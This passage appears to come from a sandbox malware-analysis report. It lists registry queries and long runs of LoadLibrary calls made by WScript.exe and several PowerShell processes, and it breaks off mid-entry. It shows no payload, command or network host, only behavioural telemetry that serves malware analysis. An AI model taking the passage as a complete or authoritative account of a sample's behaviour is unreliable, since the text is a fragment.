(Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DHCPNAMESERVER"; Value: "")2d:T883b,"WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter WINTRUST.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter MSISIP.DLL (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPT32.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\wshext.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00003484) "WScript.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003484) "powershell.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter ntshrui.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter srvcli.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter cscapi.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter slc.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\ole32.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\OLEAUT32.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System\9b0615d346556a8ae639dcec168731cc\System.ni.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\fabca41dc6cc22a902c2525408b49ab9\Microsoft.PowerShell.ConsoleH (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management.A#\d5ab9ebdfc2bacea66210c16fff703d2\System.Management.Automation. (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter AdvApi32.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Core\2706ddbd765b8a111d3083f8af88ef03\System.Core.ni.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\326a4488a1881b3bd8ea1e8f4dd7420f\Microsoft.PowerShell.Commands (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Configuratio#\1e9190c7a12053ea715c8d8ef8faddd1\System.Configuration.Install. (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\23314086651ff4d13264ef3cd19e0b4e\Microsoft.WSMan.Management.ni (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Transactions\9354030849f9e58d9b95d32149f7bb68\System.Transactions.ni.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\2e6ebcf758bbffd55f7abfd8878c72c1\Microsoft.PowerShell.Commands (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\7c10a24ff552941b03414d424169041f\Microsoft.PowerShell.Commands (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\89738d6a75ab575f400360d0670f60ed\Microsoft.PowerShell.Security (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\culture.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en-US\mscorrc.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en\mscorrc.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorjit.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Xml\e0542eb82c5f716397d316d5c88f7ae5\System.Xml.ni.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management\38c49b707af17308185a48479fcb7404\System.Management.ni.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.DirectorySer#\543de12ce97f16746b85981a80878035\System.DirectoryServices.ni.d (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter shfolder.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Data\2276c85b65e1f517da1b9026640e2a55\System.Data.ni.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter netutils.dll (UID: 00000000-00002164) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter ntshrui.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter srvcli.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter cscapi.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter slc.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\ole32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\OLEAUT32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System\9b0615d346556a8ae639dcec168731cc\System.ni.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\fabca41dc6cc22a902c2525408b49ab9\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management.A#\d5ab9ebdfc2bacea66210c16fff703d2\System.Management.Automation. (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter AdvApi32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Core\2706ddbd765b8a111d3083f8af88ef03\System.Core.ni.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\326a4488a1881b3bd8ea1e8f4dd7420f\Microsoft.PowerShell.Commands (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Configuratio#\1e9190c7a12053ea715c8d8ef8faddd1\System.Configuration.Install. (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\23314086651ff4d13264ef3cd19e0b4e\Microsoft.WSMan.Management.ni (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Transactions\9354030849f9e58d9b95d32149f7bb68\System.Transactions.ni.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\2e6ebcf758bbffd55f7abfd8878c72c1\Microsoft.PowerShell.Commands (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\7c10a24ff552941b03414d424169041f\Microsoft.PowerShell.Commands (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\89738d6a75ab575f400360d0670f60ed\Microsoft.PowerShell.Security (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\culture.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en-US\mscorrc.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en\mscorrc.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorjit.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Xml\e0542eb82c5f716397d316d5c88f7ae5\System.Xml.ni.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management\38c49b707af17308185a48479fcb7404\System.Management.ni.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.DirectorySer#\543de12ce97f16746b85981a80878035\System.DirectoryServices.ni.d (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter shfolder.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Data\2276c85b65e1f517da1b9026640e2a55\System.Data.ni.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\shell32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter netutils.dll (UID: 00000000-00001544) "powershell.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter ntshrui.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter srvcli.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter cscapi.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter slc.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\ole32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\OLEAUT32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System\9b0615d346556a8ae639dcec168731cc\System.ni.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\fabca41dc6cc22a902c2525408b49ab9\Microsoft.PowerShell.ConsoleH (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management.A#\d5ab9ebdfc2bacea66210c16fff703d2\System.Management.Automation. (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter AdvApi32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Core\2706ddbd765b8a111d3083f8af88ef03\System.Core.ni.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\326a4488a1881b3bd8ea1e8f4dd7420f\Microsoft.PowerShell.Commands (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Configuratio#\1e9190c7a12053ea715c8d8ef8faddd1\System.Configuration.Install. (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\23314086651ff4d13264ef3cd19e0b4e\Microsoft.WSMan.Management.ni (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Transactions\9354030849f9e58d9b95d32149f7bb68\System.Transactions.ni.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\2e6ebcf758bbffd55f7abfd8878c72c1\Microsoft.PowerShell.Commands (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\7c10a24ff552941b03414d424169041f\Microsoft.PowerShell.Commands (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\89738d6a75ab575f400360d0670f60ed\Microsoft.PowerShell.Security (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\culture.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en-US\mscorrc.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en\mscorrc.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorjit.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Xml\e0542eb82c5f716397d316d5c88f7ae5\System.Xml.ni.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management\38c49b707af17308185a48479fcb7404\System.Management.ni.dll (UID: 00000000-00002724) "powershell.exe" called "LoadLibrary" with a parameter 